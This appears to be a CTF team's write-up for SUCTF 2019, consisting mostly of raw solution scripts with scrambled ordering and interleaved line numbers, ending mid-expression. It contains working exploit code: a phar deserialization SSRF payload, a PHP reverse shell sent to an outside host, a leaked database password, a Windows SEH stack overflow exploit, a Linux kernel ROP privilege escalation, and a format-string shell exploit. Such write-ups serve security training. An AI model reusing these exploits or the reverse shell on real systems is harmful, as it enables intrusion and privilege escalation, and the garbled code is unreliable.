SUCTF-WP-Nu1L SUCTF-WP-Nu1L upload Cocktail's Remix hardCpp BabyStack rev easy sql sudrv playfmt Checkin EasyPHP Prime RSA MT babyunic guess_game protocol Game Pythonginx DSA Akira Homework Signin upload Status: solved Tags: Web ssrf compress.zip if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib |rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.) (.|\\s)*/i',$_POST['url'])){ die("Go away!"); }else{ 1 2 3 lcoa 1 : finfo_file phar SoapClient __call ssrf admin.php <? __HALT_COMPILER();?> php://filter/convert.base64- encode/resource=phar:///var/www/html/upload/c1d22f060f3dc7cb23f8942369b1c7b9/322c f5eb582a2b2d427a3c8f1e606351.gif payload <?php $target = "http://localhost/admin.php"; $post_string = 'admin=1&ip=yourvps&port=8012&clazz=finfo&func1=file&func2=file&func3=file &arg1=/etc/passwd&arg2=/etc/passwd&arg3=/etc/passwd&xx=123'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: xxxx=1234' ); $b = array(null,array('location' => $target,'user_agent'=>"wupco\r\nContent-Type: application/x-www-form- urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ". (string)strlen($post_string)."\r\n\r\n".$post_string,'uri' => "aaab")); class File{ public $file_name; public $type; public $func; public function __construct() { global $b; $this->func = "SoapClient"; $this->file_name = $b; $this->type = "123"; } } $aaa = new File(); @unlink("phar.phar"); $phar = new Phar("phar.phar"); //phar $phar->startBuffering(); $phar->setStub("GIF89aphp __HALT_COMPILER(); ?>"); //stub $phar->setMetadata($aaa); //meta-datamanifest 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 Cocktail's Remix Status: solved Tags: Web http://47.111.59.243:9016/info.php download.php config.php http://47.111.59.243:9016/download.php?filename=/usr/lib/apache2/modules/mod_cocktail.so $phar->addFromString("test.txt", "test"); // // $phar->stopBuffering(); rename("phar.phar", "/Users/smi1e/Desktop/test.gif") ?> 28 29 30 31 32 <?php $filename = $_GET['filename']; header("Content-Disposition: attachment;filename=".$filename); header('Content-Length: '.filesize($filename)); readfile($filename); ?> 1 2 3 4 5 6 <?php //$db_server = "MysqlServer"; //$db_username = "dba"; //$db_password = "rNhHmmNkN3xu4MBYhm"; ?> 1 2 3 4 5 hardCpp Status: solved Tags: Reverse C++ollvmflabcf md5# flag flag BabyStack Status: solved Tags: Pwn BabyStack StackOverflow on Linux is not difficult,how about it on Window? nc 121.40.159.66 6666 1 1 SafeSEH,winpwn... import requests import base64 print requests.get('http://47.111.59.243:9016/config.php', headers={'Reffer': base64.b64encode('''php -r '$sock=fsockopen("q71998.cn",2333);exec("/bin/sh -i <&3 >&3 2>&3");' ''')}).content mysql -hMysqlServer -udba -prNhHmmNkN3xu4MBYhm -e 'use flag;select * from flag;' 1 2 3 4 5 6 (x % 7 + y) ^ ((((x ^ 18) * 3) & 0xFF) + 2) 1 #!python #-*- coding: utf-8 -*- #@Date: 2019-08-18 00:46:49 from pwintools import * 1 2 3 4 5 ru = lambda x:p.recvuntil(x) sl = lambda x:p.sendline(x) s = lambda x:p.send(x) # p = Process("./BabyStack.exe") p = Remote("121.40.159.66",6666) ru("stack address = ") stack = int(p.recvuntil("\n")[:-1],16) log.info(hex(stack)) ru("address = ") proc_base = int(p.recvuntil('\n')[:-1],16)-0x40395E log.info(hex(proc_base)) #ru("So,Can You Tell me what did you know?\n") p.recvline() sl(hex(proc_base+0x408551)[2:].upper().rjust(0x8,'0')) #p.spawn_debugger(breakin=True) #leaking cookie sl('yes') sl(str(proc_base+0x47C004)) ru("value is ") cookie = int(p.recvuntil('\n')[:-1],16) log.info("cookie:"+hex(cookie)) #leaking next_seh_chain sl('yes') sl(str(stack-0x30)) ru("value is ") next_chain = int(p.recvuntil('\n')[:-1],16) log.info("next_chain:"+hex(next_chain)) #leaking seh handler sl('yes') sl(str(stack-0x2c)) ru("value is ") handler = int(p.recvuntil("\n")[:-1],16) log.info("handler:"+hex(handler)) sl("yep") flag = proc_base+0x408266 payload = "aaaa" payload += p32(0xffffffe4) payload += p32(0x0) payload += p32(0xffffff0c) payload += p32(0x0) 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 rev Status: solved Tags: Reverse C++ flagboosttoken iter 10suctf1 11111suctf 4A-Ga-g2ACEG z331415926 11111suctf_ACEG_31415926flag suctf{ACEG31415926} easy sql Status: solved Tags: Web http://47.111.59.243:9061/ 1like/reggg payload += p32(0xfffffffe) payload += p32(flag) payload += p32(flag) payload = payload.ljust(0x90,'A') payload += p32((stack-0x20)^cookie) payload += "aaaaaaaa" payload += p32(next_chain) payload += p32(handler) payload += p32(cookie^(stack-0xc8)) payload += p32(0) s(payload) sl("yes") # input "yes" # input "10" p.interactive() # flag{M4ybe_Saf3_SEH_1s_n0t_S4f3?} 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 select query from tablename; sudrv Status: solved Tags: Pwn sudrv nc home.sslab.cc 45030 https://coding.net/u/ImageMLT/p/pwn/git/tree/master #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <string.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <pthread.h> #define ALLOC_SIZE 168 #define KERNCALL __attribute__((regparm(3))) void* (*prepare_kernel_cred)(void*) KERNCALL ; void (*commit_creds)(void*) KERNCALL ; void get_shell(void){ execve("/bin/sh",0,0); } void su_print(int fd) { ioctl(fd,0xDEADBEEF); } void su_malloc(int fd,int size) { ioctl(fd,0x73311337,size); } void su_free(int fd) { ioctl(fd,0x13377331); } unsigned long user_cs, user_ss, user_eflags,user_sp ; void save_stats() { asm( "movq %%cs, %0\n" 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp) : : "memory" ); } void get_shell_again(){ char *shell = "/bin/sh"; char *args[] = {shell, NULL}; execve(shell, args, NULL); } int main() { setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); signal(SIGSEGV,get_shell_again); int fd1 = open("/dev/meizijiutql",O_RDWR); char format[150]= "0x%llx0x%llx0x%llx0x%llx0x%llx0x%lx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0 x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx\n"; char buf1[100]="aaaaaaaa"; unsigned long long poprdi; unsigned long long poprdx; unsigned long long vmbase ; unsigned long long iretq ; unsigned long long swapgs ; unsigned long long rop[0x30]; su_malloc(fd1,ALLOC_SIZE); write(fd1,format,150); su_print(fd1); su_free(fd1); char addr[16]; write(1,"stack addr:(ed8) \n",20); scanf("%llx",(long long *)addr); *(long long *)addr -=0x88; write(1,"vmlinux addr:(268) \n",20); scanf("%llx",&vmbase); vmbase = (vmbase -19505768) - 0xFFFFFFFF81000000; printf("%llx",vmbase); prepare_kernel_cred = vmbase + 0xFFFFFFFF81081790; commit_creds = vmbase + 0xFFFFFFFF81081410; swapgs = vmbase + 0xffffffff81a00d5a; iretq = vmbase + 0xffffffff81021762; 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 playfmt Status: solved Tags: Pwn poprdi = vmbase + 0xffffffff81001388; poprdx = vmbase + 0xffffffff81044f17; unsigned long long pushrax= vmbase +0xffffffff812599a8; unsigned long long poprbx = vmbase +0xffffffff81000926; unsigned long long callrbx = vmbase+0xffffffff81a001ea; sleep(1); save_stats(); rop[0]=poprdi; rop[1]=0; rop[2]=prepare_kernel_cred; rop[3]=pushrax; rop[4]=0; rop[5]=0; rop[6]=0; rop[7]=poprbx; rop[8]=poprdx; rop[9]=callrbx; rop[10]=commit_creds; rop[11]=swapgs; rop[12]=0x246; rop[13]=iretq; rop[14]= (size_t)&get_shell; rop[15] = user_cs; rop[16] = user_eflags; rop[17] = user_sp; rop[18] = user_ss; rop[19] = 0; char mem[0xc0+0x10]; memset(mem,0x41,0xd0); memcpy(mem+0xc0,addr,0x10); write(1,mem,0xd0); su_malloc(fd1,ALLOC_SIZE); write(fd1,mem,0xd0); su_malloc(fd1,ALLOC_SIZE); write(fd1,buf1,100); su_malloc(fd1,ALLOC_SIZE); write(fd1,(char*)rop,180); su_malloc(fd1,ALLOC_SIZE); write(fd1,(char*)rop,180); } 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 #!python 1 #-*- coding: utf-8 -*- #@Date: 2019-08-17 21:54:18 from pwn import * s = lambda x:p.send(x) r = lambda :p.recv() rs = lambda :p.recvuntil(" ") #p = process('./playfmt') p = remote('120.78.192.35',9999) # libc = ELF('/lib/i386-linux-gnu/libc.so.6') libc =ELF('./libc.6') r() # leaking libc,stack s("%23$p %6$p \n") pause() libc.address = int(rs(),16)-0x18637 log.info("libc.address:"+hex(libc.address)) stack = int(rs(),16) log.info("stack:"+hex(stack)) tmp = (stack-0x1c)&0xffff r() s("%{0}c%6$hn".format(str(tmp)).ljust(0xc8,'\x00')) p.recv() tmp = tmp&0xff for i in range(4): payload = "%{0}c%6$hhn".format(str(tmp+i)).ljust(0xc8,'\x00') s(payload) r() payload = "%{0}c%14$hhn".format(str(((libc.sym['system']>> (8*i))&0xff))).ljust(0xc8,'\x00') s(payload) r() binsh = next(libc.search('/bin/sh')) log.info("binsh:"+hex(binsh)) for i in range(4): payload = "%{0}c%6$hhn".format(str(tmp+i+8)).ljust(0xc8,'\x00') s(payload) r() payload = "%{0}c%14$hhn".format(str(((binsh>> (8*i))&0xff))).ljust(0xc8,'\x00') s(payload) 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 Checkin Status: solved Tags: Web web nginx.user.ini EasyPHP Status: solved Tags: Web http://47.111.59.243:9001/ r() s("quit") p.interactive() 49 50 51 52 53 function get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php function get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); 1 2 3 4 5 6 ( } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); } } $hhh = @$_GET['_']; if (!$hhh){ highlight_file(__FILE__); } if(strlen($hhh)>18){ die('One inch long, one inch strong!'); } if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!'); $character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!"); eval($hhh); ?> 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 fuzz _GET count_chars($hhh, 3); $a = $_GET['a']; $b = $_*GET['b']; $c = $a^$b; if($c=='G'||$c=='E'||$c=='T'||$c=='_*'){ echo $c; file_put_contents("str.txt", $c.":".urlencode($a).urlencode($b)."\n",FILE_APPEND); } 1 2 3 4 5 6 7 2 ${_GET}{%aa}();&a=phpinfo {%aa} count_chars($hhh, 3); `http://47.111.59.243:9001/?_=${%a7%ae%ac%ac^%f8%e9%e9%f8}{%a7}();&%a7=phpinfo` .htaccess getshell T:%AC%F8 _:%A7%F8 E:%AC%E9 G:%AE%E9 1 2 3 4 fpm venputenv+LD Prime Status: solved Tags: Crypto gcd(ns[i],ns[j]) != 1,n cs = [0]*4 ns = [0]*4 fs = [0]*4 cs[0] = 0x76eca2527d6e01a8847ccc58080680f687d4fed686afda4a85d2bebba36475473e027a86 1abe0ffd3ef7fdf37c4bf86821c64b0544cb9ecfb0d0dced015928ee59ac099711b2ece57a 56506a151785ddfd3806d4189212502662e55ebd09a423ed6c0d0b290cecc048d94a275e07 6f3158a2382d84556222e5daff33860b3379a972404ae677021943c6ef985b937ba096039a 67b57abb022e9971c48f608db2d8d7f83bdbccb691dc7bd7fda55689c68cb26bbc88f1ae5f 939106b5d5ca8374ff4497380b6e280d4ed16934eb59b148b4831d893966f2bcce601dd1b4 52f726c487883d1a9b7934bd5b24de4d0f505da81927b809da9c814a0b0b231243008L 1 2 3 4 5 ns[0] = 0xaeadd829d1588914f40591fe513d59aab4bde65d0862600360cc03160588c64299b46f2d 73e4cf92637088dde01bc7044ff5d34cc08fc8e4cf85f83464f4d5e5a28273563834eacc3a fe26a5fb7fab13a994a001d7bea49b08cd59eca1707e569cc8c5fc7def9964f1ef45eb5d8a cbd391dfbc45fc01876d3a347e5c67a4f69acf842a26f7c128b292f57983d8d25cf0f37f8c d85fd89677ff7b96042c992a528f74826e47066f8d68ce661dafd5392d6339ff792a581703 a9a162d6112484bd650f1bbd5699b6db1aaaef43488757238d23a5e8e1fa0cd2694bac14f2 cd4b2cbb02778982ff87db99ae7acb86e8361d09bf3e5cbca0ad3237d071b36a954d7L cs[1] = 0x208f0f20588d9fbdee91cab1bf8343c4b44385f52c4c4237e4a08ebba508d0b149748e0f 35e0e9a67af6dffb2a54edf8993160f087ab6e2b3843ee690a0f991cf6b221a898598407ac 3be9a54ecb100c462490c157d98c4babdb76ad0a00cb45bd064af38fd1006edbfc180b7aa9 dec5c988561822b89fc3764f70e59ea5e06c59828fc5f856a340ea6789298b94adb0312202 9860761258c4b83b3b86310e1536116146604f699fca51bad0108d9e689dfc90d66783432e 1a89d8f5fcca2b1a1e5220d1367738f78a5cf09869aa4589fc858e353cd699fb30111283a0 8e4056a2c47f1ab5bdb420687a6b8ae745db23b17c54b0b2cc36f779b875127da8770L ns[1] = 0x1dfc4df7632253011653013325edafba6a93fbb1f17f886a533c2e1aab4459c1734938dd a98a7e575d08afcec466268cdccfecd1ed7564aaf3201d66d1a54af2b1eb985b56c08482a5 26357199739ccd36f883fc3e1b9bca162d9abd8fb4d06003e258b4c87fd54cdbfd48f19a3a 17828d0d72fdda7e05b8adce60c711781598f1569ae281f42b9f2dc1e3fc3a9a53107f0389 f36e618d78b4e82473af1922b0c5609c9ab9e960de01c0310c015d7656c8d39efc313b839d edbad68e6a9e43864e9245c75f9b3db34f41fd4e102e25b915460b7ea9a2f285ce8682a1fe 21690c78a77ff5370d7bcfafe8033fc485d28d1ea5e9d5c8c00258fe7c85808d224bc9L cs[2] = 0x8a44960619014160cfaee133e85c915466085e3325f3ee10fbeb79369e393413cdd2ced7 ff42bdb1201e70effd6e7df7088c7402f13a23d5862b29b1429c8647bd155088f62c937f48 8c3ea926c59e78e129542bf6740f1ccb06ec25947fbd78da2c783c2fd75416cbd6bb199d34 528718934f236a6b94b0b96b4be4814092dff585709cbd6f09bace05a219f72dd7e145db85 219b748cf2b00cca2b09559457fcd8f8e434f909b77df0daeadb2cfd09814dd99594100974 9883a2720eead3ea6a9e5ca83b540bf3d0299f4a2cea8c191dbb5b4ba7760afb1b3935f198 5890ff4704a06a3154d85f6b5fb20172a2e1d3a28d322fdec9da888c763585821f53L ns[2] = 0x174daef4510f402863afbbfa68d3563190a2afafd5e519caa941bede4dd7d61c1cfd674e f341cb844e197b0cb63cc4bd37170648867496dbc2ca33537d2bd7b8196adc1d08aa7f017b c77f36698c23827ff73e3e1e8486a65b75b28d0f8dbc23c13bca163f246aaacf983140664b 9fdba359186319a50f52215a9cff28655d96225044ca6e5766f1b894bf9ff7c0c58f776215 ba95764d80b1630aafb62d1360ddabeba953c9d4b22b4a83a8d6d9c176c09b0577fcba9f15 c36b68694feb2e155e85ffc0ecf65ca62e218a95a28ffcb06480f170ead7fbde96cd5a8e3b 66e764d1b5f8fe22092e94273aac13972155ec0985d00c10aebd49ea4fbcc9a9985b7L cs[3] = 0x13b5d93d7de2abd0a2beec3789028a258412d71a8984e9013e52c417ae8fdc92f2f0b676 3360dcef88c3b9a535bdb582e307339fe55615097900fcc58d1ac66de5cde01d94f6dee2a9 5ddf1009b320ccd2a6beb4d77fe5fa367ef956454747057fcdca0cd39ed1e0fe11b766a8c7 05640f2149e3d86938c78cfacc3f0e3075ffa758bacf0c58d5ea659dc4439a2f16a732a51b e0d4f3c920789cbf20ca01d6cd77ca2934064fb508387c1bd2e55dd7c92a45be117a9c32ad 992d2e51fb8e730d150a4520dbfd177f2a77e5856039c125a7142d77c732cdb26f0f731cc1 36d6cee4465e1654bb94a5ec36e91c4f277d68ba8d06b9aea8834e61bb29aca252a7fL 6 7 8 9 10 11 RSA Status: solved Tags: Crypto LSB Oracle Attack ns[3] = 0x501011a69b682f904e7b730857e6792d9f422d0df83f284e58311d5e9994e64a259efbb0 ee2c4b42fb90b1d934dc482a88c7c186dab0bbd867758b88c3a14ccb2e061556b182103391 7cdc7c27c1ab020f8fcd7766eb58e85fd364b179997ec830ad2b44a0d87955aef698039b9e 9680bc37c7f9c55e44b334784910a509db1d8637258d709f6fae43436af65c9656a7d48a66 d341143f8198e2c16d9f1abf544cc8bd5828047f0d63c39db60e68fe27a7ae33106b5571a2 c2943146bbe0c649ef290cd8319aa4ccce7a7bf114f2d67237a60c0934b4cedbc30022f6d1 f863643136baebd81037dd71f38b5b0c6c3d48718187db64eb17c20bd95b85aa6de83L for i in xrange(4): tmp = 1 ts = ns[i] for j in xrange(4): if i == j: continue tmp *= gcd(ns[i],ns[j])-1 ts //= gcd(ns[i],ns[j]) fs[i] = tmp*(ts-1) ds = [power_mod(ns[i]-fs[i],-1,fs[i]) for i in xrange(4)] for i in xrange(4): print '%x'%power_mod(cs[i],ds[i],ns[i]) # flag{H0W_c1EV3R_Y0u_AR3_C0ngRatu1at10n5} 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from hashlib import md5 from itertools import combinations_with_replacement from string import ascii_letters from pwn import * from fractions import Fraction def solve_pow(salt, part): for ans in combinations_with_replacement(ascii_letters, 5): if md5(''.join(ans) + salt).hexdigest()[:5] == part: return ''.join(ans) def decrypt_lsb(c): io.sendlineafter("option:", 'D') io.sendlineafter("message:", str(c)) io.recvuntil('decrypted message is') res = io.recvline() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if 'odd' in res: return 1 return 0 def lsb_decryption_oracle(c, e, n, decrypt_lsb): bounds = [0, Fraction(n)] i = 0 while True: i += 1 print i c2 = (c * pow(2, e, n)) % n lsb = decrypt_lsb(c2) if lsb == 1: bounds[0] = sum(bounds) / 2 else: bounds[1] = sum(bounds) / 2 diff = bounds[1] - bounds[0] diff = diff.numerator / diff.denominator if diff == 0: m = bounds[1].numerator / bounds[1].denominator return m c = c2 io = remote('47.111.59.243', 9421) salt, part = io.recvline().split(')[0:5] == ') salt = salt.split(' ')[-1] part = part.strip() io.sendlineafter(">", solve_pow(salt, part)) io.recvuntil('n = ') n = int(io.recvline()) io.recvuntil('e = ') e = int(io.recvline()) io.recvuntil('c = ') c = int(io.recvline()) print n, e, c m = lsb_decryption_oracle(c, e, n, decrypt_lsb) io.sendlineafter("option:", 'G') io.sendlineafter("secret:", str(m)) io.recvuntil('n = ') n = int(io.recvline()) io.recvuntil('e = ') e = int(io.recvline()) io.recvuntil('c = ') c = int(io.recvline()) print n, e, c m = lsb_decryption_oracle(c, e, n, decrypt_lsb) io.sendlineafter("option:", 'G') io.sendlineafter("secret:", str(m)) 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 MT Status: solved Tags: Crypto block 2byte c babyunic Status: solved Tags: Reverse io.recvuntil('n = ') n = int(io.recvline()) io.recvuntil('e = ') e = int(io.recvline()) io.recvuntil('c = ') c = int(io.recvline()) print n, e, c m = lsb_decryption_oracle(c, e, n, decrypt_lsb) io.sendlineafter("option:", 'G') io.sendlineafter("secret:", str(m)) io.interactive() 66 67 68 69 70 71 72 73 74 75 76 from z3 import * import ctypes ys = [0xFFFFFF94, 0xFFFFFF38, 0x00000126, 0xFFFFFF28, 0xFFFFFC10, 0x00000294, 0xFFFFFC9E, 0x000006EA, 0x000000DC, 0x00000006, 0xFFFFFF0C, 0xFFFFFDF6, 0xFFFFFA82, 0xFFFFFCD0, 0x00000182, 0x000003DE, 0x0000014E, 0x000002B2, 0xFFFFF8D8, 0x00000174, 0xFFFFFAA6, 0xFFFFF9D4, 0x000001C2, 0xFFFFF97C, 0x0000035A, 0x00000146, 0xFFFFFF3C, 0xFFFFFA14, 0x000001CE, 0x000007DC, 0xFFFFFD48, 0x00000098, 0x0000085E, 0xFFFFFDB0, 0xFFFFFFBC, 0x0000036E, 0xFFFFFF4E, 0xFFFFF836, 0x000005C0, 0x000006AE, 0x00000694, 0x00000022] ys = map(lambda x: ctypes.c_int32(x).value, ys) print ys a2 = [IntVal(i) for i in ys] a1 = [Int('m%d' % i) for i in range(42)] solver = Solver() for _,v in enumerate(a1): solver.add(v>=0) solver.add(v<=0xff) v2 = a1[0] + a1[1] + a1[2] - a1[3] + a1[4] - a1[5] - a1[6] - a1[7] - a1[8] + a1[9] + a1[10] - a1[11] + a1[12] - a1[13] - a1[14] + a1[15] - a1[16] - a1[17] + a1[18] + a1[19] - a1[20] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 solver.add(a2[0] == v2 + a1[21] + a1[22] + a1[23] + a1[24] - a1[25] + a1[26] - a1[27] + a1[28] + a1[29] - a1[30] - a1[31] + a1[32] - a1[33] + a1[34] + a1[35] - a1[36] - a1[37] + a1[38] - a1[39] + a1[40] + a1[41]) v3 = a1[0] - a1[1] + a1[2] - a1[3] - a1[4] + a1[5] - a1[6] - a1[7] - a1[8] - a1[9] + a1[10] - a1[11] + a1[12] - a1[13] - a1[14] + a1[15] - a1[16] - a1[17] + a1[18] - a1[19] + a1[20] solver.add(a2[1] == v3 + a1[21] - a1[22] - a1[23] - a1[24] + a1[25] - a1[26] + a1[27] - a1[28] - a1[29] + a1[30] + a1[31] + a1[32] + a1[33] + a1[34] + a1[35] - a1[36] - a1[37] - a1[38] - a1[39] - a1[40] + a1[41]) v4 = a1[0] - a1[1] + a1[2] + a1[3] - a1[4] + a1[5] - a1[6] - a1[7] + a1[8] - a1[9] - a1[10] - a1[11] - a1[12] - a1[13] + a1[14] - a1[15] - a1[16] + a1[17] + a1[18] + a1[19] + a1[20] solver.add(a2[2] == v4 + a1[21] - a1[22] + a1[23] + a1[24] + a1[25] + a1[26] - a1[27] + a1[28] - a1[29] + a1[30] - a1[31] + a1[32] + a1[33] - a1[34] - a1[35] + a1[36] + a1[37] + a1[38] - a1[39] + a1[40] - a1[41]) v5 = a1[0] - a1[1] - a1[2] - a1[3] - a1[4] - a1[5] + a1[6] + a1[7] - a1[8] - a1[9] - a1[10] - a1[11] + a1[12] - a1[13] + a1[14] - a1[15] + a1[16] - a1[17] + a1[18] + a1[19] + a1[20] solver.add(a2[3] == v5 - a1[21] + a1[22] + a1[23] + a1[24] - a1[25] - a1[26] + a1[27] - a1[28] + a1[29] + a1[30] - a1[31] - a1[32] - a1[33] + a1[34] - a1[35] + a1[36] + a1[37] + a1[38] - a1[39] + a1[40] + a1[41]) v6 = a1[0] - a1[1] - a1[2] + a1[3] - a1[4] - a1[5] + a1[6] + a1[7] + a1[8] + a1[9] - a1[10] + a1[11] + a1[12] - a1[13] + a1[14] - a1[15] + a1[16] + a1[17] - a1[18] + a1[19] - a1[20] solver.add(a2[4] == v6 + a1[21] - a1[22] - a1[23] - a1[24] + a1[25] - a1[26] - a1[27] - a1[28] + a1[29] + a1[30] + a1[31] - a1[32] + a1[33] - a1[34] - a1[35] + a1[36] - a1[37] + a1[38] - a1[39] - a1[40] - a1[41]) v7 = a1[0] + a1[1] + a1[2] + a1[3] + a1[4] + a1[5] + a1[6] + a1[7] + a1[8] - a1[9] - a1[10] - a1[11] - a1[12] - a1[13] - a1[14] + a1[15] - a1[16] + a1[17] - a1[18] + a1[19] + a1[20] solver.add(a2[5] == v7 - a1[21] + a1[22] - a1[23] + a1[24] - a1[25] + a1[26] + a1[27] - a1[28] + a1[29] - a1[30] + a1[31] + a1[32] + a1[33] - a1[34] - a1[35] - a1[36] + a1[37] - a1[38] - a1[39] + a1[40] + a1[41]) v8 = a1[0] - a1[1] + a1[2] + a1[3] + a1[4] - a1[5] + a1[6] + a1[7] + a1[8] + a1[9] - a1[10] + a1[11] + a1[12] - a1[13] + a1[14] + a1[15] + a1[16] + a1[17] - a1[18] - a1[19] - a1[20] solver.add(a2[6] == v8 - a1[21] - a1[22] - a1[23] + a1[24] + a1[25] - a1[26] + a1[27] + a1[28] + a1[29] - a1[30] - a1[31] - a1[32] - a1[33] - a1[34] - a1[35] + a1[36] + a1[37] - a1[38] - a1[39] + a1[40] - a1[41]) v9 = a1[0] + a1[1] - a1[2] - a1[3] - a1[4] + a1[5] + a1[6] - a1[7] + a1[8] + a1[9] - a1[10] + a1[11] - a1[12] + a1[13] - a1[14] + a1[15] - a1[16] + a1[17] - a1[18] - a1[19] + a1[20] solver.add(a2[7] == v9 - a1[21] + a1[22] - a1[23] - a1[24] + a1[25] - a1[26] + a1[27] + a1[28] + a1[29] + a1[30] + a1[31] + a1[32] - a1[33] + a1[34] - a1[35] + a1[36] + a1[37] + a1[38] + a1[39] - a1[40] - a1[41]) v10 = a1[0] - a1[1] - a1[2] + a1[3] + a1[4] - a1[5] + a1[6] + a1[7] + a1[8] + a1[9] + a1[10] - a1[11] - a1[12] + a1[13] - a1[14] + a1[15] + a1[16] + a1[17] + a1[18] - a1[19] + a1[20] 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 solver.add(a2[8] == v10 + a1[21] - a1[22] - a1[23] + a1[24] + a1[25] + a1[26] - a1[27] + a1[28] - a1[29] - a1[30] - a1[31] - a1[32] - a1[33] + a1[34] - a1[35] - a1[36] + a1[37] - a1[38] - a1[39] + a1[40] - a1[41]) v11 = a1[0] + a1[1] + a1[2] - a1[3] + a1[4] + a1[5] + a1[6] - a1[7] - a1[8] - a1[9] - a1[10] + a1[11] + a1[12] + a1[13] - a1[14] + a1[15] + a1[16] - a1[17] - a1[18] + a1[19] + a1[20] solver.add(a2[9] == v11 - a1[21] - a1[22] - a1[23] + a1[24] - a1[25] - a1[26] - a1[27] + a1[28] + a1[29] + a1[30] - a1[31] + a1[32] + a1[33] - a1[34] - a1[35] - a1[36] - a1[37] + a1[38] - a1[39] + a1[40] + a1[41]) v12 = a1[0] - a1[1] + a1[2] + a1[3] - a1[4] - a1[5] + a1[6] + a1[7] - a1[8] - a1[9] - a1[10] - a1[11] + a1[12] + a1[13] + a1[14] - a1[15] + a1[16] - a1[17] + a1[18] + a1[19] + a1[20] solver.add(a2[10] == v12 - a1[21] + a1[22] - a1[23] - a1[24] - a1[25] + a1[26] - a1[27] - a1[28] + a1[29] - a1[30] + a1[31] + a1[32] - a1[33] - a1[34] + a1[35] - a1[36] - a1[37] + a1[38] - a1[39] + a1[40] + a1[41]) v13 = a1[0] - a1[1] + a1[2] + a1[3] + a1[4] - a1[5] + a1[6] + a1[7] - a1[8] + a1[9] + a1[10] - a1[11] - a1[12] - a1[13] - a1[14] + a1[15] - a1[16] - a1[17] - a1[18] + a1[19] + a1[20] solver.add(a2[11] == v13 - a1[21] + a1[22] - a1[23] + a1[24] + a1[25] + a1[26] + a1[27] - a1[28] + a1[29] + a1[30] - a1[31] - a1[32] - a1[33] - a1[34] - a1[35] + a1[36] + a1[37] - a1[38] - a1[39] - a1[40] - a1[41]) v14 = a1[0] - a1[1] - a1[2] - a1[3] + a1[4] - a1[5] - a1[6] + a1[7] + a1[8] - a1[9] + a1[10] - a1[11] - a1[12] - a1[13] + a1[14] - a1[15] + a1[16] - a1[17] + a1[18] - a1[19] - a1[20] solver.add(a2[12] == v14 - a1[21] - a1[22] + a1[23] - a1[24] + a1[25] - a1[26] + a1[27] - a1[28] + a1[29] - a1[30] - a1[31] + a1[32] + a1[33] + a1[34] - a1[35] - a1[36] - a1[37] - a1[38] + a1[39] - a1[40] - a1[41]) v15 = a1[0] - a1[1] + a1[2] - a1[3] + a1[4] - a1[5] + a1[6] - a1[7] + a1[8] - a1[9] + a1[10] - a1[11] + a1[12] + a1[13] + a1[14] + a1[15] - a1[16] - a1[17] - a1[18] + a1[19] + a1[20] solver.add(a2[13] == v15 + a1[21] - a1[22] - a1[23] + a1[24] + a1[25] - 